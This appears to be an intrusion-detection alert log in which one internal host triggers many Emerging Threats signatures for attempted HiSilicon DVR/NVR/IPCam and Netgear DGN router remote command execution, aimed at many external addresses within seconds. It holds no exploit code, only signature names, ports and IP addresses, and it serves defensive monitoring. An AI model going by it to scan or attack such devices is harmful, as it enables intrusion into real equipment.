05/16/24-16:39:16.578972	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35826	9530	192.168.2.23	123.72.33.59
05/16/24-16:39:16.578972	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35826	9530	192.168.2.23	123.72.33.59
05/16/24-16:39:05.676829	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51160	9530	192.168.2.23	160.163.204.4
05/16/24-16:39:05.676829	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51160	9530	192.168.2.23	160.163.204.4
05/16/24-16:39:02.763331	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37380	9530	192.168.2.23	75.89.64.33
05/16/24-16:39:05.677868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57396	9530	192.168.2.23	60.62.30.172
05/16/24-16:39:05.677868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57396	9530	192.168.2.23	60.62.30.172
05/16/24-16:39:12.377495	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51912	9530	192.168.2.23	54.39.101.36
05/16/24-16:39:12.377495	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51912	9530	192.168.2.23	54.39.101.36
05/16/24-16:38:59.607510	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57342	9530	192.168.2.23	118.210.89.120
05/16/24-16:38:59.607510	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57342	9530	192.168.2.23	118.210.89.120
05/16/24-16:39:03.262213	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45198	9530	192.168.2.23	163.154.73.96
05/16/24-16:39:03.262213	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45198	9530	192.168.2.23	163.154.73.96
05/16/24-16:39:16.604723	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40378	9530	192.168.2.23	149.63.30.194
05/16/24-16:38:55.177039	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59132	9530	192.168.2.23	144.67.197.187
05/16/24-16:38:55.177039	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59132	9530	192.168.2.23	144.67.197.187
05/16/24-16:39:08.092998	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40046	9530	192.168.2.23	219.252.188.214
05/16/24-16:39:08.092998	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40046	9530	192.168.2.23	219.252.188.214
05/16/24-16:38:55.226833	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40908	9530	192.168.2.23	74.186.0.110
05/16/24-16:38:55.226833	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40908	9530	192.168.2.23	74.186.0.110
05/16/24-16:39:14.513644	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33336	9530	192.168.2.23	110.146.16.186
05/16/24-16:39:14.513644	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33336	9530	192.168.2.23	110.146.16.186
05/16/24-16:39:02.749173	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37306	9530	192.168.2.23	9.191.246.145
05/16/24-16:39:02.749173	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37306	9530	192.168.2.23	9.191.246.145
05/16/24-16:39:03.275895	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59614	9530	192.168.2.23	52.107.36.3
05/16/24-16:39:03.275895	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59614	9530	192.168.2.23	52.107.36.3
05/16/24-16:38:50.052090	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41748	9530	192.168.2.23	86.224.49.198
05/16/24-16:38:50.052090	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41748	9530	192.168.2.23	86.224.49.198
05/16/24-16:39:05.704110	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44058	9530	192.168.2.23	183.77.41.202
05/16/24-16:39:16.604723	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40378	9530	192.168.2.23	149.63.30.194
05/16/24-16:39:05.704039	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37180	9530	192.168.2.23	49.75.248.192
05/16/24-16:38:50.065072	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57880	9530	192.168.2.23	132.54.11.55
05/16/24-16:38:50.065072	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57880	9530	192.168.2.23	132.54.11.55
05/16/24-16:39:05.704039	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37180	9530	192.168.2.23	49.75.248.192
05/16/24-16:39:08.145083	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58004	9530	192.168.2.23	121.250.204.235
05/16/24-16:39:14.493450	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49606	9530	192.168.2.23	121.91.254.15
05/16/24-16:39:12.382135	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45976	9530	192.168.2.23	105.73.202.223
05/16/24-16:39:16.579857	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40738	9530	192.168.2.23	54.88.10.33
05/16/24-16:39:14.493450	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49606	9530	192.168.2.23	121.91.254.15
05/16/24-16:38:53.062219	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51700	9530	192.168.2.23	98.58.140.43
05/16/24-16:38:53.062219	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51700	9530	192.168.2.23	98.58.140.43
05/16/24-16:39:12.382135	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45976	9530	192.168.2.23	105.73.202.223
05/16/24-16:39:16.579857	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40738	9530	192.168.2.23	54.88.10.33
05/16/24-16:39:08.041180	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60812	9530	192.168.2.23	161.143.96.77
05/16/24-16:39:08.041180	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60812	9530	192.168.2.23	161.143.96.77
05/16/24-16:39:16.604813	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33686	9530	192.168.2.23	143.122.46.154
05/16/24-16:39:16.604813	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33686	9530	192.168.2.23	143.122.46.154
05/16/24-16:39:08.145083	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58004	9530	192.168.2.23	121.250.204.235
05/16/24-16:39:16.603163	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41750	9530	192.168.2.23	106.91.233.181
05/16/24-16:39:14.494720	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45164	9530	192.168.2.23	205.183.3.122
05/16/24-16:39:16.603163	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41750	9530	192.168.2.23	106.91.233.181
05/16/24-16:39:13.634198	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	50716	80	192.168.2.23	90.26.101.166
05/16/24-16:39:14.494720	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45164	9530	192.168.2.23	205.183.3.122
05/16/24-16:38:55.206796	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48044	9530	192.168.2.23	93.56.99.146
05/16/24-16:38:55.206796	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48044	9530	192.168.2.23	93.56.99.146
05/16/24-16:39:03.290431	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41976	9530	192.168.2.23	76.142.63.106
05/16/24-16:39:03.290431	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41976	9530	192.168.2.23	76.142.63.106
05/16/24-16:38:57.431249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39862	9530	192.168.2.23	128.251.41.55
05/16/24-16:39:03.281195	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60282	9530	192.168.2.23	156.136.10.32
05/16/24-16:39:03.281195	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60282	9530	192.168.2.23	156.136.10.32
05/16/24-16:39:16.578960	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49394	9530	192.168.2.23	88.194.106.55
05/16/24-16:39:16.578960	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49394	9530	192.168.2.23	88.194.106.55
05/16/24-16:39:02.766974	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51616	9530	192.168.2.23	39.26.83.110
05/16/24-16:39:02.766974	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51616	9530	192.168.2.23	39.26.83.110
05/16/24-16:38:57.431249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39862	9530	192.168.2.23	128.251.41.55
05/16/24-16:38:53.011410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42624	9530	192.168.2.23	90.24.157.74
05/16/24-16:38:53.011410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42624	9530	192.168.2.23	90.24.157.74
05/16/24-16:39:14.532739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34528	9530	192.168.2.23	170.224.211.144
05/16/24-16:39:14.532739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34528	9530	192.168.2.23	170.224.211.144
05/16/24-16:39:05.676869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43986	9530	192.168.2.23	122.15.22.32
05/16/24-16:39:05.676869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43986	9530	192.168.2.23	122.15.22.32
05/16/24-16:38:59.557979	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35138	9530	192.168.2.23	151.184.219.13
05/16/24-16:39:14.522076	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57872	9530	192.168.2.23	101.43.61.18
05/16/24-16:39:14.522076	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57872	9530	192.168.2.23	101.43.61.18
05/16/24-16:39:08.041140	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42542	9530	192.168.2.23	171.71.9.158
05/16/24-16:39:08.041140	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42542	9530	192.168.2.23	171.71.9.158
05/16/24-16:39:03.281178	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57496	9530	192.168.2.23	46.119.56.137
05/16/24-16:39:05.715305	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40606	9530	192.168.2.23	165.51.182.206
05/16/24-16:39:05.715305	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40606	9530	192.168.2.23	165.51.182.206
05/16/24-16:39:08.126397	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53488	9530	192.168.2.23	104.68.130.27
05/16/24-16:39:08.126397	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53488	9530	192.168.2.23	104.68.130.27
05/16/24-16:39:03.281178	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57496	9530	192.168.2.23	46.119.56.137
05/16/24-16:39:16.598453	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48588	9530	192.168.2.23	165.221.55.8
05/16/24-16:39:02.767710	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35392	9530	192.168.2.23	90.137.31.85
05/16/24-16:39:02.767710	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35392	9530	192.168.2.23	90.137.31.85
05/16/24-16:39:08.145045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32888	9530	192.168.2.23	126.8.222.37
05/16/24-16:39:08.145045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32888	9530	192.168.2.23	126.8.222.37
05/16/24-16:39:16.598453	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48588	9530	192.168.2.23	165.221.55.8
05/16/24-16:38:57.431241	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52162	9530	192.168.2.23	20.87.63.174
05/16/24-16:38:57.407572	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49254	9530	192.168.2.23	59.144.140.118
05/16/24-16:38:57.431241	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52162	9530	192.168.2.23	20.87.63.174
05/16/24-16:39:14.494730	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39744	9530	192.168.2.23	74.215.109.238
05/16/24-16:39:14.494730	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39744	9530	192.168.2.23	74.215.109.238
05/16/24-16:38:53.084705	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49416	9530	192.168.2.23	45.194.65.100
05/16/24-16:38:53.084705	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49416	9530	192.168.2.23	45.194.65.100
05/16/24-16:38:59.558075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49570	9530	192.168.2.23	169.81.15.168
05/16/24-16:38:59.558075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49570	9530	192.168.2.23	169.81.15.168
05/16/24-16:39:16.582466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42506	9530	192.168.2.23	77.106.157.25
05/16/24-16:39:16.582466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42506	9530	192.168.2.23	77.106.157.25
05/16/24-16:38:57.303931	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51354	9530	192.168.2.23	145.150.68.221
05/16/24-16:38:53.013617	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56062	9530	192.168.2.23	171.198.0.112
05/16/24-16:38:57.303931	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51354	9530	192.168.2.23	145.150.68.221
05/16/24-16:38:53.013617	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56062	9530	192.168.2.23	171.198.0.112
05/16/24-16:38:53.011369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54822	9530	192.168.2.23	193.250.95.85
05/16/24-16:38:53.071743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49410	9530	192.168.2.23	112.40.37.61
05/16/24-16:39:03.265979	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46080	9530	192.168.2.23	173.78.120.244
05/16/24-16:38:53.011369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54822	9530	192.168.2.23	193.250.95.85
05/16/24-16:38:53.071743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49410	9530	192.168.2.23	112.40.37.61
05/16/24-16:39:03.265979	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46080	9530	192.168.2.23	173.78.120.244
05/16/24-16:39:16.615032	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57478	9530	192.168.2.23	158.233.74.206
05/16/24-16:39:16.615032	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57478	9530	192.168.2.23	158.233.74.206
05/16/24-16:38:55.193103	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42626	9530	192.168.2.23	187.104.113.23
05/16/24-16:38:55.193103	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42626	9530	192.168.2.23	187.104.113.23
05/16/24-16:39:12.384487	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42142	9530	192.168.2.23	158.95.54.184
05/16/24-16:39:12.384487	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42142	9530	192.168.2.23	158.95.54.184
05/16/24-16:38:50.004122	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41740	9530	192.168.2.23	77.249.36.58
05/16/24-16:38:50.004122	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41740	9530	192.168.2.23	77.249.36.58
05/16/24-16:38:59.557979	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35138	9530	192.168.2.23	151.184.219.13
05/16/24-16:39:14.493585	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46586	9530	192.168.2.23	113.184.10.3
05/16/24-16:39:12.382754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57932	9530	192.168.2.23	59.161.193.108
05/16/24-16:39:14.493585	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46586	9530	192.168.2.23	113.184.10.3
05/16/24-16:39:08.146707	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42182	9530	192.168.2.23	71.172.73.231
05/16/24-16:39:12.382754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57932	9530	192.168.2.23	59.161.193.108
05/16/24-16:39:08.146707	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42182	9530	192.168.2.23	71.172.73.231
05/16/24-16:39:09.560423	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	38876	80	192.168.2.23	19.161.148.119
05/16/24-16:38:55.198152	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38484	9530	192.168.2.23	217.219.241.117
05/16/24-16:38:55.198152	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38484	9530	192.168.2.23	217.219.241.117
05/16/24-16:39:05.702437	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44582	9530	192.168.2.23	163.203.202.12
05/16/24-16:39:05.702437	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44582	9530	192.168.2.23	163.203.202.12
05/16/24-16:39:14.516876	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34194	9530	192.168.2.23	213.217.140.119
05/16/24-16:39:14.516876	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34194	9530	192.168.2.23	213.217.140.119
05/16/24-16:39:02.727954	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48216	9530	192.168.2.23	34.112.173.101
05/16/24-16:39:02.727954	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48216	9530	192.168.2.23	34.112.173.101
05/16/24-16:39:08.146385	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58644	9530	192.168.2.23	203.24.102.142
05/16/24-16:39:08.146385	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58644	9530	192.168.2.23	203.24.102.142
05/16/24-16:39:12.400565	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56866	9530	192.168.2.23	60.99.173.97
05/16/24-16:39:12.400565	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56866	9530	192.168.2.23	60.99.173.97
05/16/24-16:39:12.298233	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55562	9530	192.168.2.23	179.109.209.234
05/16/24-16:39:12.298233	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55562	9530	192.168.2.23	179.109.209.234
05/16/24-16:39:16.582512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51410	9530	192.168.2.23	32.38.221.120
05/16/24-16:39:16.582512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51410	9530	192.168.2.23	32.38.221.120
05/16/24-16:38:59.519969	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52082	9530	192.168.2.23	149.119.224.82
05/16/24-16:38:59.519969	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52082	9530	192.168.2.23	149.119.224.82
05/16/24-16:39:02.725580	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35266	9530	192.168.2.23	27.218.233.178
05/16/24-16:39:02.725580	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35266	9530	192.168.2.23	27.218.233.178
05/16/24-16:39:14.494489	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41570	9530	192.168.2.23	23.8.180.19
05/16/24-16:39:14.494489	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41570	9530	192.168.2.23	23.8.180.19
05/16/24-16:38:55.226398	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52242	9530	192.168.2.23	149.144.227.100
05/16/24-16:39:08.041886	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44396	9530	192.168.2.23	182.118.255.238
05/16/24-16:38:55.226398	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52242	9530	192.168.2.23	149.144.227.100
05/16/24-16:39:08.041886	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44396	9530	192.168.2.23	182.118.255.238
05/16/24-16:39:02.725596	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49054	9530	192.168.2.23	192.181.251.241
05/16/24-16:39:14.493602	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53604	9530	192.168.2.23	172.87.53.159
05/16/24-16:39:02.725596	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49054	9530	192.168.2.23	192.181.251.241
05/16/24-16:39:16.603143	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50144	9530	192.168.2.23	168.64.102.100
05/16/24-16:39:14.493602	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53604	9530	192.168.2.23	172.87.53.159
05/16/24-16:39:16.603143	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50144	9530	192.168.2.23	168.64.102.100
05/16/24-16:39:16.608763	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36946	9530	192.168.2.23	122.219.118.59
05/16/24-16:39:16.608763	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36946	9530	192.168.2.23	122.219.118.59
05/16/24-16:39:12.383684	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56366	9530	192.168.2.23	182.176.142.177
05/16/24-16:39:12.383684	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56366	9530	192.168.2.23	182.176.142.177
05/16/24-16:38:57.434382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55234	9530	192.168.2.23	193.46.177.251
05/16/24-16:38:57.434382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55234	9530	192.168.2.23	193.46.177.251
05/16/24-16:38:55.206782	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55302	9530	192.168.2.23	134.56.172.127
05/16/24-16:39:16.597860	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34908	9530	192.168.2.23	12.0.123.140
05/16/24-16:39:16.597860	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34908	9530	192.168.2.23	12.0.123.140
05/16/24-16:38:55.206782	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55302	9530	192.168.2.23	134.56.172.127
05/16/24-16:39:16.581448	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55458	9530	192.168.2.23	185.161.74.94
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34900	9530	192.168.2.23	64.76.29.182
05/16/24-16:39:16.581448	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55458	9530	192.168.2.23	185.161.74.94
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34900	9530	192.168.2.23	64.76.29.182
05/16/24-16:39:05.698753	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34522	9530	192.168.2.23	5.28.88.148
05/16/24-16:39:05.698753	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34522	9530	192.168.2.23	5.28.88.148
05/16/24-16:39:14.517467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51892	9530	192.168.2.23	9.113.107.14
